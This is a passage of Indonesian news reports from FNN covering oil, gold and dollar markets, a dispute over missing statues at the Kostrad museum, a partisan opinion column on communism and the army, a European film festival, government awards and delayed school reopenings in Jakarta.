Celcius. Namun untuk Provinsi Jawa Barat seperti Kota Depok, Kabupaten dan Kota Bekasi serta Kabupaten dan Kota Bogor diperkirakan terjadi hujan yang disertai petir dan angin kencang pada Selasa siang hingga malam. (mth)

Minyak Naik Dipicu Pasokan yang Ketat, Brent Dekati 80 Dolar per Barel

New York, FNN - Harga minyak naik untuk hari kelima berturut-turut pada akhir perdagangan Senin (Selasa pagi WIB), dengan Brent berada di level tertinggi sejak Oktober 2018 dan menuju 80 dolar AS per barel, karena investor khawatir tentang pasokan yang lebih ketat di tengah meningkatnya permintaan di beberapa bagian dunia. Minyak mentah berjangka Brent untuk pengiriman November bertambah 1,44 dolar AS atau 1,8 persen, menjadi menetap di 79,53 dolar AS per barel, setelah membukukan kenaikan tiga minggu berturut-turut. Minyak mentah berjangka West Texas Intermediate (WTI) AS untuk pengiriman November terangkat 1,47 dolar AS atau 2,0 persen, menjadi ditutup di 75,45 dolar AS per barel, tertinggi sejak Juli, setelah naik selama lima minggu berturut-turut. Goldman Sachs menaikkan perkiraan akhir tahun sebesar 10 dolar AS untuk minyak mentah Brent menjadi 90 dolar AS per barel. Pasokan global telah mengetat karena pemulihan cepat permintaan bahan bakar dari merebaknya varian Delta dari virus corona serta Badai Ida yang menghantam produksi AS. “Sementara kami telah lama mempertahankan pandangan minyak bullish, defisit pasokan-permintaan global saat ini lebih besar dari yang kami harapkan, dengan pemulihan permintaan global dari dampak Delta bahkan lebih cepat dari perkiraan kami di atas konsensus dan dan dengan pasokan global masih kurang dari perkiraan di bawah konsensus kami,” kata Goldman. Terperangkap oleh rebound permintaan, anggota Organisasi Negara-negara Pengekspor Minyak dan sekutu mereka, yang dikenal sebagai OPEC+, mengalami kesulitan meningkatkan produksi karena kurangnya investasi atau penundaan pemeliharaan akibat pandemi. “Kenaikan harga minyak terus berlanjut melampaui apa yang sebagian besar pedagang perkirakan bullish dan diimpikan beberapa bulan lalu, dan Brent meluncur menuju ambang batas 80 dolar AS per barel mencerminkan pasar minyak mentah yang sangat ketat,” kata Louise Dickson, analis pasar minyak senior di Rystad Energi. "Kendala pasokan AS akan terus memberikan sisi positif pada harga minyak, karena pemadaman terkait badai Ida masih akan memengaruhi pasokan AS pada kuartal pertama 2022.” Permintaan minyak global diperkirakan akan mencapai tingkat pra-pandemi pada awal tahun depan karena ekonomi pulih, meskipun kapasitas penyulingan cadangan dapat membebani prospek, kata produsen dan pedagang pada konferensi industri. Permintaan global diperkirakan meningkat menjadi 100 juta barel per hari pada akhir 2021 atau pada kuartal pertama 2022, kata Presiden Hess Corp, Greg Hill. Dunia mengonsumsi 99,7 juta barel per hari minyak pada 2019, menurut IEA, sebelum pandemi COVID-19 menghantam kegiatan ekonomi dan permintaan bahan bakar. Di India, impor minyak mencapai puncak tiga bulan pada Agustus, rebound dari posisi terendah hampir satu tahun yang disentuh pada Juli, karena penyulingan di importir minyak mentah terbesar kedua dunia itu menimbun untuk mengantisipasi permintaan yang lebih tinggi. Abu Dhabi National Oil Company (ADNOC) telah merencanakan untuk memasok volume penuh dari semua kadar minyak mentah ke pelanggan berjangka di Asia pada Desember, beberapa sumber yang mengetahui masalah tersebut mengatakan pada Senin (27/9). Ini akan menjadi pertama kalinya sejak jatuhnya harga minyak pada kuartal kedua tahun lalu ketika pandemi COVID-19 menghancurkan permintaan bahwa ADNOC tidak menerapkan pemotongan pasokan, kata mereka. (mth)

Soal Penghilangan Patung, Kostrad Berkilah

Jakarta, FNN - Komando Cadangan Strategis Angkatan Darat (Kostrad) membantah menghilangkan sejumlah patung tokoh negara yang dipajang di Museum Darma Bhakti Kostrad. Patung yang dihilangkan itu, di antaranya terdapat patung Presiden Kedua RI Soeharto, patung Letnan Jenderal TNI Sarwo Edhie Wibowo, dan Jenderal AH Nasution. Kepala Penerangan Kostrad Kolonel Inf Haryantana dalam siaran persnya, di Jakarta, Senin, menyatakan Kostrad tidak pernah membongkar atau menghilangkan patung sejarah (penumpasan G30S/PKI) Museum Dharma Bhakti di Markas Kostrad. "Tapi, pembongkaran patung-patung tersebut murni permintaan Letnan Jenderal TNI (Purn) Azmyn Yusri Nasution sebagai pembuat ide dan untuk ketenangan lahir dan batin," kata Haryantana. Haryantana mengatakan hal itu untuk mengklarifikasi adanya pemberitaan dalam diskusi bertajuk "TNI Vs PKI" yang digelar Minggu (26/9) malam. Dalam diskusi itu, mantan Panglima TNI Jenderal TNI (Purn) Gatot Nurmantyo menduga adanya penyusupan kembali pendukung PKI ke tubuh TNI. Indikasi itu dibuktikan dengan diputarkannya video pendek yang menggambarkan hilangnya sejumlah bukti-bukti penumpasan G30S/PKI di Museum Dharma Bhakti di Markas Kostrad. Menurut Kol Haryantana, Kostrad tidak mempunyai ide untuk membongkar patung Presiden Kedua RI Soeharto, Letjen TNI Sarwo Edhie, dan Jenderal AH Nasution yang ada dalam ruang kerja Soeharto di Museum Dharma Bhakti, di Markas Kostrad. Ia menyebut ada permintaan sebelumnya dari Letnan Jenderal TNI Azmyn Yusri Nasution selaku pembuat patung-patung itu. Azmyn, menurut Haryantana, meminta langsung kepada Pangkostrad Letjen TNI Dudung untuk dapat menyerahkan patung-patung tersebut kepadanya. "Patung itu yang membuat Letjen TNI (Purn) AY (Azmyn Yusri) Nasution saat beliau menjabat Pangkostrad, kemudian pada tanggal 30 Agustus 2021 Pak AY (Azmyn Yusri) Nasution meminta kepada Pangkostrad Letjen TNI Dudung Abdurrahman untuk diserahkan kembali pada Letjen TNI Purn AY (Azmyn Yusri) Nasution," ujarnya pula. (ant, sws)

Panglima TNI Enggan Komen Soal Patung

Jakarta, FNN - Panglima TNI Marsekal TNI Hadi Tjahjanto mengaku enggan berpolemik soal dugaan penyusupan pendukung PKI di tubuh TNI. "Saya tidak mau berpolemik terkait hal yang tidak dapat dibuktikan secara ilmiah. Tidak bisa suatu pernyataan didasarkan hanya kepada keberadaan patung di suatu tempat," kata Panglima TNI ketika dikonfirmasi wartawan, di Jakarta, Senin. Panglima TNI mengatakan hal itu menanggapi pernyataan mantan Panglima TNI Jenderal TNI (Purn) Gatot Nurmantyo menduga adanya penyusupan kembali pendukung PKI ke tubuh TNI. Indikasi itu dibuktikan dengan diputarkannya video pendek yang menggambarkan hilangnya sejumlah bukti-bukti penumpasan G30S/PKI di Museum Dharma Bhakti di Markas Kostrad. "Masalah ini sebenarnya sudah diklarifikasi oleh institusi terkait," ujar Marsekal Hadi. Mantan Kepala Staf Angkatan Udara (Kasau) ini menganggap statement atau pernyataan Gatot Nurmantyo itu sebagai nasihat senior kepada para prajurit yang masih aktif untuk senantiasa waspada agar lembaran sejarah yang kelam tak terjadi kembali. "Saya lebih menganggap statement tersebut sebagai suatu nasihat senior kepada kami sebagai prajurit aktif TNI untuk senantiasa waspada agar lembaran sejarah yang hitam tidak terjadi lagi," tutur Panglima TNI. Sebagai institusi TNI, tambah dia, prajurit TNI selalu mempedomani bahwa faktor mental dan ideologi merupakan sesuatu yang vital. "Untuk itu, pengawasan intensif baik secara eksternal maupun internal selalu menjadi agenda utama, bukan saja terhadap radikal kiri, tetapi juga terhadap radikal kanan dan radikal lainnya," papar Marsekal Hadi Tjahjanto. Sebelumnya, Kepala Penerangan Kostrad Kolonel Inf Haryantana dalam siaran persnya, di Jakarta, Senin, menuturkan bahwa Kostrad tidak pernah membongkar atau menghilangkan patung sejarah penumpasan G30S/PKI (patung Presiden Kedua RI Soeharto, patung Letnan Jenderal TNI Sarwo Edhie Wibowo, dan Jenderal AH Nasution) di Museum Dharma Bhakti di Markas Kostrad. "Tapi, pembongkaran patung-patung tersebut murni permintaan Letnan Jenderal TNI (Purn) Azmyn Yusri Nasution sebagai pembuat ide dan untuk ketenangan lahir dan batin," ungkap Haryantana. Menurut dia, Kostrad tidak mempunyai ide untuk membongkar patung Presiden Kedua RI Soeharto, Letjen TNI Sarwo Edhie, dan Jenderal AH Nasution yang ada dalam ruang kerja Soeharto di Museum Dharma Bhakti di Markas Kostrad. Ia menyebut ada permintaan sebelumnya dari Letnan Jenderal TNI Azmyn Yusri Nasution selaku pembuat patung-patung itu. Azmyn, menurut Haryantana, meminta langsung kepada Pangkostrad Letjen Dudung Abdurachman untuk dapat menyerahkan patung-patung tersebut kepadanya. "Patung itu yang membuat Letjen Purn AY (Azmyn Yusri) Nasution saat beliau menjabat Pangkostrad, kemudian pada tanggal 30 agustus 2021 Pak AY (Azmyn Yusri) Nasution meminta kepada Pangkostrad Letjen Dudung Abdurrachman untuk diserahkan kembali pada Letjen Purn AY (Azmyn Yusri) Nasution," ucapnya. (sws, ant)

Emas Nyaris Tak Berubah Tertekan Penguatan Dolar, Imbal Hasil Tinggi

Chicago, FNN - Harga emas nyaris tak berubah pada akhir perdagangan yang fluktuatif pada Senin (Selasa pagi WIB), karena kenaikan dibatasi oleh menguatnya dolar dan imbal hasil obligasi pemerintah AS yang lebih tinggi, sementara investor menunggu pidato dari para pembuat kebijakan Federal Reserve untuk petunjuk lebih lanjut tentang strategi tapering. Kontrak emas paling aktif untuk pengiriman Desember di divisi Comex New York Exchange, naik tipis 0,3 dolar AS atau 0,02 persen, menjadi ditutup pada 1.752 dolar AS per ounce. Akhir pekan lalu, Jumat (24/9) emas berjangka juga sedikit menguat 1,9 dolar AS atau 0,11 persen menjadi 1.751,70 dolar AS. Emas berjangka anjlok 29 dolar AS atau 1,63 persen menjadi 1.749,80 dolar AS pada Kamis (23/9), setelah menguat 0,6 dolar AS atau 0,03 persen menjadi 1.778,80 dolar AS pada Rabu (22/9), dan melonjak 14,4 dolar AS atau 0,82 persen menjadi 1.778,20 dolar AS pada Selasa (21/9). “Kami masih memiliki beberapa kekhawatiran di luar sana yang menjaga tawaran safe haven tetap hidup saat turun. Tetapi kami terus melihat dolar membuat keuntungan dan menjaga sedikit tekanan pada kompleks komoditas, terutama emas,” kata David Meger, direktur perdagangan logam di High Ridge Futures. Indeks dolar naik 0,1 persen terhadap enam mata uang utama pesaingnya, membuat emas lebih mahal bagi pemegang mata uang lainnya, sementara imbal hasil obligasi pemerintah AS 10-tahun yang dijadikan acuan naik ke level tertinggi dalam tiga bulan. Fokus pasar sekarang akan tertuju pada pidato pejabat Fed minggu ini termasuk Ketua Jerome Powell, yang akan bersaksi di depan Kongres tentang respons kebijakan bank sentral terhadap pandemi. “Setiap kali kami memiliki pejabat Fed berbicara, kami mencari untuk mendapatkan lebih banyak informasi. Pada titik ini, harapannya adalah pada pertemuanmereka (Fed) berikutnya yang akan mengumumkan beberapa jenis tapering,” kata Meger. Emas sering dianggap sebagai lindung nilai terhadap inflasi yang lebih tinggi, tetapi kenaikan suku bunga Fed akan meningkatkan peluang kerugian memegang emas, yang tidak membayar bunga. Investor juga mengawasi perkembangan seputar China Evergrande yang sarat utang, setelah raksasa properti China itu melewatkan tenggat waktu pembayaran bunga obligasi pekan lalu. "Dengan momentum penurunan yang tampaknya melambat, emas dapat melihat beberapa penangguhan hukuman dalam waktu dekat tetapi prospek yang lebih luas tidak bagus," kata analis OANDA Craig Erlam dalam sebuah catatan. Emas mendapat dukungan setelah Presiden Federal Reserve Chicago Charles Evans berbicara kepada konferensi tahunan National Association for Business Economics di Virginia pada Senin (27/9), mengatakan meskipun ekonomi AS hampir memenuhi standar Federal Reserve untuk mulai mengurangi program pembelian obligasi, dia yakin inflasi yang lebih tinggi dari perkiraan saat ini tidak menuntut kenaikan suku bunga segera setelah tapering selesai. Logam mulia lainnya, perak untuk pengiriman Desember naik 26,9 sen atau 1,2 persen, menjadi ditutup pada 22,694 dolar AS per ounce. Platinum untuk pengiriman Oktober naik 1,70 dolar atau 0,17 persen, menjadi ditutup pada 981,6 dolar per ounce. (mth)

Pangkostrad Itu Harus Membasmi Komunis

By M Rizal Fadillah PERISTIWA G 30 S yang didalangi PKI dengan memfitnah TNI dan mencoba untuk menggulingkan kekuasaan yang sah ternyata gagal. Pasukan elit pengawal Presiden Tjakrabirawa dikendalikan PKI untuk menculik dan membunuh para Jenderal. Pasukan ini menjadi garda terdepan dalam upaya kudeta. Kegagalan ini banyak disebabkan oleh kesigapan TNI untuk segera melakukan pengamanan. Pangkostrad Mayjen Soeharto memimpin operasi dan sukses menumpas pemberontakan. Dengan Supersemar 1966 Letjen Soeharto melakukan langkah lebih strategis seperti pembubaran PKI dan penangkapan mereka yang terlibat G 30 S PKI termasuk para Menteri. Setelah menjadi Presiden Jenderal Soeharto mantan Pangkostrad ini tetap konsisten untuk terus menumpas dan mewaspadai munculnya gerakan PKI yang telah berubah menjadi organisasi tanpa bentuk. Skrining ketat dilakukan untuk jabatan-jabatan birokrasi. Termasuk untuk menjadi anggota DPR/DPRD. Tap MPRS No XXV/MPRS/1966 menjadi acuan pembersihan. Peristiwa bersejarah sebagai awal dari penumpasan PKI itu tergambar dalam diorama di Museum Dharma Bhakti Makostrad. Pangkostrad Mayjen Soeharto menerima laporan dari Dan Resimen Parako AD (RPKAD) Kolonel Sarwo Edhi Wibowo. Di dekatnya duduk Jenderal AH Nasution yang baru selamat dari upaya pembunuhan PKI. Menurut mantan Panglima TNI Jenderal Purn Gatot Nurmantyo, diorama di Museum tersebut kini anehnya hilang atau dihilangkan. Gatot mencurigai adanya indikasi penyusupan anasir PKI di TNI sehingga monumen penting itu kini tiada. Menurutnya kewaspadaan atas kebangkitan PKI perlu ditingkatkan. Kini Pangkostrad adalah Letjen Dudung Abdurrahman mantan Pangdam Jaya. Diorama itu hilang saat Kostrad di bawah kepemimpinannya. Tidak terdengar amanat atau pernyataan dari Pangkostrad ini akan pentingnya kewaspadaan terhadap kebangkitan PKI. Yang muncul justru nyinyirnya pada radikalisme gerakan keagamaan. Statemen bahwa semua agama benar dalam pandangan Tuhan dikritik para ulama termasuk MUI. Dudung ini kontroversial sebagai Komandan TNI bukan berjasa menumpas PKI tetapi justru FPI. Mengambil alih komando penurunan baliho HRS di Petamburan. Mendampingi Kapolda Metro Fadil Imran pada konperensi pers 7 Desember 2020 sambil menggenggam samurai alat bukti bodong fitnah 6 syuhada pengawal HRS. Pangkostrad Dudung Abdurrahman perlu diminta keterangan tentang mobil Land Cruiser hitam di Km 50 yang terindikasi menjadi komandan dari penyiksaan dan pembunuhan keenam anggora Laskar FPI yang dikualifikasikan sebagai "unlawful killing" atau "crime against humanity". Pangkostrad semestinya belajar dari sejarah tentang konsistensi pemberantasan komunis. Bukan justru terus menerus menohok umat Islam dengan bahasa fanatisme, intoleran, atau radikal. Pembunuhan oleh aparat terhadap warga sipil umat Islam harus dibongkar oleh jajaran Kostrad. Jangan biarkan komunis menyusup pada aparat atau komandan komandannya. Penghilangan diorama Pangkostrad Mayjen Soeharto saat menerima laporan dari Dan RPKAD Kolonel Sarwo Edhi atas pembasmian anasir PKI sungguh memprihatinkan. Ada misteri dari menghilangnya diorama itu dan harus diusut tuntas termasuk motivasi yang melatarbelakanginya. Aspek pribadi, tekanan politik atau ideologi? Akankah muncul diorama baru dimana Pangkostrad Letjen Dudung Abdurrahman sedang menerima laporan dari Pangdam Jaya Mayjen TNI Dudung Abdurrahman atas pembunuhan enam laskar FPI, penurunan baliho HRS, penangkapan HRS, Shobri Lubis, Munarman, dan lainnya? Bagus juga rasanya. Asal tidak terbalik saja bahwa dahulu PKI yang ditumpas oleh TNI, kini justru FPI yang ditumpas oleh PKI. Pangkostrad harus mampu menjelaskan agar umat Islam tidak menjadi bulan-bulanan atau korban dari balas dendam PKI. Apakah Pangkostrad Dudung masih pro NKRI dan tidak pro PKI? Rakyat tengah menunggu bukti. *) Pemerhati Politik dan Kebangsaan

Europe on Screen 2021 Ditutup dengan "We Are the Thousand"

Jakarta, FNN - Festival Film Uni Eropa ke-21 l, Europe on Screen (EoS) sukses digelar dan diakhiri dengan acara penutupan pada Senin sore (27/9). Film dokumenter "We Are the Thousand" dari Italia menutup perhelatan festival kali ini. "Melalui film, kami telah menunjukkan kepada publik Indonesia keragaman benua Eropa dan kreativitas sektor audio-visualnya. Kami juga berupaya meningkatkan hubungan antara tokoh-tokoh industri film Eropa dan mahasiswa film di Indonesia," kata Duta Besar Uni Eropa untuk Indonesia, Vincent Piket, melalui keterangannya, Selasa. "Saya berharap kegiatan berbagi pengalaman dan pengetahuan tersebut akan membantu para siswa mengembangkan kreativitas mereka," imbuhnya. Festival ini menghadirkan sebanyak 53 film Eropa serta kompilasi 3 film pendek Indonesia, serta menyelenggarakan sesi interaktif dengan lebih dari 65 pembuat film dan pakar film Eropa dan Indonesia. Puluhan ribu orang dari seluruh Indonesia menghadiri festival virtual ini. "We Are the Thousand" yang merupakan dokumenter musik karya Anita Rivalori tahun 2020 sendiri berdurasi 80 menit dan memenangkan Audience Award dalam SXSW Film Festival 2021. Film ini berkisah tentang seorang ahli biologi kelautan yang mengumpulkan 1.000 musisi di Italia untuk bermain musik bersama guna mengundang perhatian band rock terkemuka, Foo Fighter. “Kedutaan Besar Italia dan Istituto Italiano di Cultura Jakarta dengan bangga mempersembahkan film penutup festival tahun ini: ‘We Are the Thousand, kisah luar biasa tentang Rockin’ 1000’, sebagai film dokumenter terbaik Italia tahun 2020. Film tersebut akan dapat menginspirasi dan cocok untuk menutup semarak festival tahun ini,” kata Duta Besar Italia untuk Indonesia, Benedetto Latteri. Pada acara penutupan festival, berlangsung pula pengumuman tiga pemenang ajang Short Film Pitching Project (SFPP) 2021. Untuk tahun ini, SFPP – yaitu kompetisi tahunan festival untuk pembuat film muda – menerima 152 entri. Delapan finalis terpilih untuk mempresentasikan ide-ide mereka di hadapan 3 juri pada tanggal 24 September. Ketiga pemenang tersebut adalah "Bibir Merah Siapa Yang Punya" karya Haris Supiandi dan Pawadi asal Pontianak; "Catch to Release" karya Andrew Kose dan Evi Cecilia asal Jakarta; dan "Riwayat Ceti" karya Azalia Muchransyah dan Adhi Anugroho asal Bogor. Ketiga film pemenang SFPP 2021 akan diputar secara perdana di EOS 2022. Sebanyak 21 film tayang kembali mulai 27 September 2021 serta beberapa rangkaian Film Talk dan Festival Updates IGLive akan hadir hingga tanggal 2 Oktober 2021. Untuk informasi lengkap, termasuk kabar terbaru mengenai EoS 2022, silahkan mengunjungi serta memantau situs www.europeonscreen.org dan media sosial resmi EoS. (mth)

Dolar Menguat, Ikuti Kenaikan Imbal Hasil Obligasi Pemerintah AS

New York, FNN - Dolar AS menguat untuk sesi kedua berturut-turut pada akhir perdagangan Senin (Selasa pagi WIB), didukung oleh kenaikan imbal hasil obligasi pemerintah AS menjelang sejumlah pembicara Federal Reserve minggu ini yang dapat menegaskan ekspektasi dimulainya pengurangan pembelian aset sebelum akhir tahun. Imbal hasil obligasi pemerintah AS 10-tahun yang jadi acuan mencapai level tertinggi tiga bulan di 1,516 persen pada Senin (27/9). Para pejabat Fed, termasuk satu anggota dewan berpengaruh, pada Senin (27/9) mengaitkan pengurangan pembelian obligasi bulanan Fed dengan pertumbuhan pekerjaan yang berkelanjutan, dengan laporan ketenagakerjaan September sekarang menjadi pemicu potensial untuk "tapering" obligasi bank sentral. Ketua Fed Jerome Powell, akan bergabung dengan Menteri Keuangan Janet Yellen, berbicara di depan Kongres pada Selasa waktu setempat. Indeks dolar, yang mengukur mata uang AS terhadap enam rival utamanya, naik 0,1 persen menjadi 93,37. Greenback juga memperpanjang kenaikan setelah data menunjukkan pesanan baru dan pengiriman barang modal utama buatan AS meningkat kuat pada Agustus, naik 0,5 persen di tengah permintaan yang kuat untuk komputer dan produk elektronik. Tetapi pasar lebih fokus pada pasar surat utang negara AS. Imbal hasil AS naik ke level tertinggi sejak akhir Juni untuk mengantisipasi kebijakan moneter yang lebih ketat setelah The Fed mengumumkan pekan lalu bahwa mungkin mulai mengurangi stimulus segera setelah November dan kenaikan suku bunga mungkin mengikuti lebih cepat dari yang diperkirakan. "Seberapa banyak tapering itu sendiri bukanlah kejutan, akhir yang lebih awal dari programnya akan memperkuat bahwa risiko penurunan terhadap dolar AS telah berkurang," Mazen Issa, ahli strategi senior valas di TD Securities, menulis dalam sebuah catatan riset. TD Securities memperkirakan The Fed akan mengakhiri program pelonggaran kuantitatif pada Juni 2022. "Jika putaran tapering terakhir merupakan indikasi, sekitar setengah dari kenaikan siklikal dolar AS diamati tiga bulan setelah tapering," tambahnya. Euro tergelincir 0,1 persen terhadap dolar menjadi 1,1698 dolar AS, sebagian besar mengabaikan perkembangan dalam pemilihan umum Jerman selama akhir pekan, dengan Partai Sosial Demokrat diproyeksikan akan mengalahkan blok konservatif CDU/CSU. Dolar naik 0,3 persen terhadap yen menjadi 110,99 yen, setelah sebelumnya naik ke level tertinggi hampir tiga bulan. Dolar juga naik 0,2 persen versus franc Swiss menjadi 0,9259 franc. "Dolar tidak memiliki alasan nyata untuk menurun dari tempatnya, jadi ini tentang mencari apa yang sebenarnya dapat mengubah itu seperti yang kita dengar dari berbagai pihak minggu ini: kepemimpinan Jerman yang baru, kepala negara Jepang yang baru, dan Kongres AS," kata Juan Perez, ahli strategi dan pedagang valas di Tempus Inc di Washington. Dolar Australia yang sensitif terhadap risiko naik 0,4 persen menjadi 0,7289 dolar AS karena kekhawatiran penyebaran pasar yang meluas dari China Evergrande Group yang terlilit utang mereda. Kekhawatiran bahwa Evergrande, pengembang terbesar kedua di China, dapat gagal membayar utangnya sebesar 305 miliar dolar AS telah membayangi perdagangan dalam beberapa pekan terakhir, tetapi beberapa dari ketakutan penularan tersebut telah surut. Bank sentral China menyuntikkan 100 miliar yuan (15,5 miliar dolar AS) bersih ke dalam sistem keuangan pada Senin (27/9), menambah bersih 320 miliar yuan pekan lalu, terbesar sejak Januari. (mth)

BPJS Kesehatan Beri Penghargaan Mitra Kerja Sukses Cegah Gratifikasi

Jakarta, FNN - Direktur Utama BPJS Kesehatan Ali Ghufron Mukti memberikan penghargaan kepada mitra kerja/fasilitas kesehatan dan Unit Pengendalian Gratifikasi BPJS Kesehatan tingkat kedeputian wilayah dan kantor cabang sebagai apresiasi upaya pengendalian gratifikasi di lingkungan Kantor BPJS Kesehatan. "BPJS Kesehatan telah menerapkan sistem untuk mengendalikan penerimaan gratifikasi melalui Program Pengendalian Gratifikasi. Langkah ini untuk memastikan penerapan tata kelola yang baik, bersih serta bebas korupsi, kolusi dan nepotisme di lingkungan kerja," kata Ghufron dalam acara Penghargaan UPG BPJS Kesehatan Tahun 2021. Dari siaran pers BPJS Kesehatan yang diterima ANTARA di Jakarta, Senin, menyebutkan Program Pengendalian Gratifikasi tidak hanya melibatkan pihak internal BPJS Kesehatan, melainkan juga pihak eksternal dan pemangku kepentingan JKN-KIS, seperti mitra fasilitas kesehatan. BPJS Kesehatan juga menyelenggarakan Lomba TikTok dan Vlog Anti Gratifikasi yang diharapkan menjadi sarana sosialisasi, edukasi, dan publikasi dalam upaya pengendalian gratifikasi di BPJS Kesehatan. "Lomba ini diharapkan mampu mendorong awareness dan dukungan mitra kerja BPJS Kesehatan terhadap penerapan pengendalian gratifikasi. Sebab penerapan pengendalian gratifikasi tidak hanya merupakan komitmen dari diri sendiri maupun seluruh organ di BPJS Kesehatan, tetapi juga harus dilandasi kesadaran bersama dari para stakeholders JKN-KIS," kata dia. Lomba Tiktok Anti Gratifikasi BPJS Kesehatan tersebut diikuti oleh ratusan peserta yang berasal dari fasilitas kesehatan, mitra kerja dan pemangku kepentingan JKN-KIS lainnya. (mth)

Kemlu: Hassan Wirajuda Award Apresiasi Bagi Pegiat Pelindungan WNI

Jakarta, FNN - Penganugerahan Hassan Wirajuda Pelindungan Award (HWPA) yang akan digelar pada 15 Desember 2021 merupakan apresiasi bagi pegiat isu pelindungan WNI, kata seorang pejabat Kementerian Luar Negeri, Senin. Dalam konferensi pers secara virtual, Direktur Jenderal Protokol dan Konsuler Kemlu Andy Rachmianto mengatakan ajang penghargaan tersebut tahun ini adalah yang ke-7 dan diselenggarakan untuk mengapresiasi seluruh upaya pelindungan WNI. "Ini menunjukan konsistensi komitmen Kementerian Luar Negeri untuk mengapresiasi seluruh kerja-kerja pelindungan WNI. Tidak hanya yang dilakukan oleh Kemlu dan Perwakilan RI, namun juga masyarakat luas," kata Andy. Selain sebagai wujud apresiasi, kata dia, HWPA merupakan salah satu strategi utama Kemlu untuk meningkatkan pemahaman masyarakat mengenai diplomasi pelindungan WNI. Dia mengatakan tugas pelindungan WNI di luar negeri bukan perkara sederhana. "Menghadirkan negara bagi lebih dari 3,1 juta WNI di luar negeri, apalagi dalam situasi pandemi, membutuhkan usaha ekstra," kata Andy. Dia mengatakan pandemi COVID-19 yang sangat "unprecedented" telah meningkatkan jumlah kasus hingga hampir 300 persen dari tahun-tahun sebelumnya. Pada tahun 2020, Kemlu dan perwakilan-perwakilan RI di luar negeri menangani sebanyak 54.953 kasus. "Alhamdulillah, 45.378 diantaranya telah berhasil diselesaikan. Berbagai upaya keras telah dilakukan oleh 129 perwakilan RI di luar negeri untuk membantu saudara-saudara kita yang terdampak COVID-19 di luar negeri," kata dia. Andy mengatakan pemerintah juga telah memberikan 535.264 paket bantuan, 451.348 di antaranya diberikan kepada WNI di Malaysia. Sebanyak 27.012 pelaut atau anak buah kapal (ABK) telah difasilitasi kepulangannya ke Indonesia, dan lebih dari 100 ribu WNI telah difasilitasi proses repatriasinya dari Malaysia ke Indonesia, kata dia. Dalam kesempatan yang sama, Prof Siti Ruhaini Dzuhayatin yang mewakili Dewan Juri HWPA 2021 mengatakan penganugerahan HWPA terdiri dari 8 kategori: pejabat dan staf Kementerian Luar Negeri dan Perwakilan RI; Kepala Perwakilan RI; mitra kerja Kementerian Luar Negeri; mitra kerja Perwakilan RI; (5) pemerintah daerah; (6) media (media massa dan media sosial); masyarakat madani; dan pelayanan publik di Perwakilan RI. Menurut Siti, HWPA bertujuan untuk mengukur kinerja dan identifikasi ruang bagi peningkatan kualitas pelayanan dan perlindungan WNI serta meningkatkan kesadaran dan peran aktif publik dalam upaya perlindungan WNI di luar negeri. Selain itu, ajang tersebut juga digelar untuk meningkatkan motivasi seluruh pihak untuk peran konstruktif dalam upaya perlindungan WNI. "Masyarakat dapat ikut serta dalam melakukan pengawasan terhadap pelayanan dan perlindungan WNI," kata dia. Penyaringan kandidat penerima HWPA 2021 akan berlangsung pada Oktober-November 2021. "Pencalonan dibuka seluas-luasnya bagi individu, instansi, LSM, akademisi, pemerintah, perwakilan RI, media dan lainnya," kata Siti. (mth)

Tertundanya PTM di Ibu Kota

Jakarta, FNN - Meski persiapan telah dilakukan dan diyakini dapat berlangsung secara baik, uji coba pembelajaran tatap muka (PTM) di 1.509 sekolah di DKI Jakarta ternyata ditunda. Penundaan ini mengejutkan kalangan orang tua murid karena terkesan mendadak. Hingga akhir pekan lalu, mereka masih yakin bahwa PTM dapat terselenggara pada Senin (27/9). Dari 1.509 sekolah, sebanyak 610 sekolah telah melakukan uji coba PTM terbatas sejak 30 Agustus 2021. Sebanyak 899 merupakan sekolah baru akan uji coba. Penundaan tersebut, menurut Dinas Pendidikan Pemerintah Provinsi DK Jakarta, dilakukan selama sepekan mulai Senin ini. Dengan demikian uji coba PTM bakal dilanjutkan 4 Oktober 2021. Ikhwal penyebab penundaan itu menurut Kepala Sub Bagian Humas Dinas Pendidikan DKI Jakarta Taga Radja Gah karena adanya Asesmen Nasional Berbasis Komputer (ANBK) oleh Kementerian Pendidikan, Kebudayaan, Riset dan Teknologi (Kemendikbudristek). Asesmen tersebut dilakukan pada 27-30 September 2021 sehingga tidak dilaksanakan PTM untuk seluruh sekolah, meskipun fokus asesmen dilakukan untuk jenjang SMA. ANBK itu menghadirkan juga perwakilan siswa ke sekolah untuk asesmen menggunakan lab komputer sehingga dikhawatirkan terjadi kerumunan di sekolah. Karena itu, pelaksanaan PTM terbatas itu ditunda. Walau ANBK itu dilakukan hanya untuk tingkat SMA, namun Dinas Pendidikan memutuskan menunda PTM untuk jenjang TK hingga SMP. ANBK memang hanya untuk jenjang SMA tetapi PTM terbatas itu melibatkan PAUD, SD, SMP, SMA dan SMK. Dikhawatirkan terjadi kerumunan di sekolah. Ditutup Kepala Dinas Pendidikan DKI Nahdiana juga membenarkan bahwa PTM itu tidak dilaksanakan Senin ini karena 899 sekolah baru yang akan ditambahkan pada 610 sekolah pelaksana PTM terbatas, masih dalam tahap asesmen atau penilaian. Asesmen tersebut untuk memverifikasi apakah protokol kesehatan (prokes) di sekolah-sekolah tersebut siap atau tidak apabila menggelar PTM terbatas. Karena itu, sekarang disiapkan agar sekolah-sekolah bersiap-siap dan dinyatakan lolos untuk buka sekolah PTM terbatas. Apabila ratusan sekolah tersebut dinyatakan lolos verifikasi, maka PTM terbatas tahap II dijadwalkan pada 4 Oktober 2021. Apabila dalam tahap verifikasi ditemukan pelanggaran protokol kesehatan maka sekolah yang sedang menjalani asesmen itu akan dicoret dan tidak bisa mengadakan PTM terbatas. Prosedurnya, dalam pelaksanaan ada temuan maka sekolah ditutup kembali. Sejatinya, Pemprov DKI Jakarta telah menambah jumlah peserta PTM terbatas sebanyak 899 sekolah. Hal itu tertuang dalam Surat Keputusan (SK) Kepala Dinas Pendidikan DKI Jakarta Nomor 984 Tahun 2021 tentang Penetapan Satuan Pendidikan yang Melaksanakan PTM Terbatas Tahap II Pada Masa PPKM. Dalam surat itu, sebanyak 899 sekolah terdiri atas 809 sekolah umum tingkat TK hingga SMA dan SMK serta 90 madrasah mulai tingkat RA sampai MA. Dengan demikian, 899 sekolah ini menambah jumlah sekolah yang menggelar PTM campuran menjadi 1.509 sekolah. Sebelumnya ada 610 sekolah yang boleh dibuka. Tidak lolos Waktu pelaksanaan PTM terbatas campuran tahap kedua pada masa PPKM semestinya dimulai 27 September dengan evaluasi secara berkala. Namun sejumlah sekolah dinyatakan tidak lolos asesmen sehingga terjadi penundaan untuk seluruh sekolah Beberapa sekolah di wilayah kerja Suku Dinas (Sudin) Pendidikan Jakarta Barat I, misalnya, tidak lolos 